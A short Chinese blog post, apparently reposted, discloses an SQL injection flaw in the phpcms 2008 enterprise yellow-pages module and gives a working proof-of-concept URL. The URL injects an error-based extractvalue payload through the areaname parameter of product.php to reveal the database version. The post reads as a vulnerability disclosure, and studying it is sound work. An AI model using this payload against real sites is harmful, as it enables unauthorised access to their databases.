phpcms 企业黄页模块由于参数未过滤存在SQL注射 漏洞 ,允许攻击者执行SQL语句.0day是幌子,鸡肋是真的,由于影响比较小,不会造成什么危害,N久之前发现的鸡肋,发出来给博客滥竽充数啦. 今天早上还发现别的程序的漏洞,话说以后要找某程序的漏洞,最快的办法就是审计他们最新的补丁. 如有转载本站原创文章的,还请保留作者及原文链接. 直接上图吧. http://www.2cto.com /phpcms2008/phpcms/yp/product.php?catid=1&areaname=555%27%20and%20extractvalue%281,concat%280x09,%28version%28%29%29%29%29%20and%20%271%27=%271 作者: c4rp3nt3r@0x50sec.org 主页: www.0x50sec.org www.cli5.com
查看更多关于phpcms2008企业黄页模块参数未过滤致SQL注射漏洞的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://www.haodehen.cn/did12040